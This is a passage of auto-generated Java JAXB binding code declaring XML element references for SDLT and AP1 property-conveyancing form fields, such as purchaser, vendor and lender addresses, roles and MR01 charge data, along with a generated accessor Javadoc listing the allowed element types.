@XmlElementRef(name = "AP1_PurchRepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgent2Name", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurchaser2Service", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purchaser2ServiceEmail", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purchaser2ServiceHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purchaser2ServiceHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purchaser2ServiceAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purchaser2ServiceAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purchaser2ServiceAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purchaser2ServicePostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purchaser2ServiceDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purchaser2ServiceDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurch2Lender", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2LenderName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2LenderMDCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2LenderChargeDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurch2LenderRepresented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2LenderRepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2LenderLodgeName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2LenderLodgeHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2LenderLodgeHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2LenderLodgeAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2LenderLodgeAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2LenderLodgeAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2LenderLodgePostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2LenderLodgeDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2LenderLodgeDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgent2HouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgent2HouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgent2Address1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgent2Address2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgent2Address3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgent2Postcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgent2DXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgent2DXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurch2Represented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2RepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgent2HouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgent2HouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgent2Address1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgent2Address2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgent2Address3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgent2Postcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgent2DXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgent2DXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchRole1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchRole2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Role1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Role2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorRole1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorRole2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2Role1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2Role2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderRole1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderRole2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2LenderRole1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2LenderRole2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchServiceAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchServiceAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchServiceAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2ServiceAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2ServiceAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2ServiceAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsVendorMortgage", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsVendorLender", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderMDCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderChargeDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsVendorLenderRepresented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderRepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgePostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderRole1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderRole2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsVendor2Lender", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2LenderName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2LenderMDCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2LenderChargeDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsVendor2LenderRepresented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2LenderRepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2LenderLodgeName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2LenderLodgeHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2LenderLodgeHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2LenderLodgeAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2LenderLodgeAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2LenderLodgeAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2LenderLodgePostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2LenderLodgeDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2LenderLodgeDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2LenderRole1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Vendor2LenderRole2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurchLender2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2Name", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2MDCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2ChargeDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurchLender2Represented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2RepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgePostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2Role1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2Role2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurch2Lender2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Lender2Name", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Lender2MDCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Lender2ChargeDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurch2Lender2Represented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Lender2RepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Lender2LodgeName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Lender2LodgeHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Lender2LodgeHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Lender2LodgeAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Lender2LodgeAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Lender2LodgeAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Lender2LodgePostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Lender2LodgeDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Lender2LodgeDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Lender2Role1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Purch2Lender2Role2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsVendorLender2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2Name", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2MDCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2ChargeDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsVendorLender2Represented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2RepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgePostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2Role1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2Role2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "MR01_CompanyPrefix", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "MR01_CompanyNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "MR01_CompanyName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "MR01_ChargeDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "MR01_NameEntitled1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "MR01_NameEntitled2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "MR01_NameEntitled3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "MR01_IncludesOtherCharge", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "MR01_FloatingCharge", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "MR01_NegativeCharge", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false) }) protected List<JAXBElement<?>> ap1LeaseTypeOrAP1LandlordTitleOrAP1LandlordTitle2; /** * Gets the value of the ap1LeaseTypeOrAP1LandlordTitleOrAP1LandlordTitle2 property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the ap1LeaseTypeOrAP1LandlordTitleOrAP1LandlordTitle2 property. * * <p> * For example, to add a new item, do as follows: * <pre> * getAP1LeaseTypeOrAP1LandlordTitleOrAP1LandlordTitle2().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code 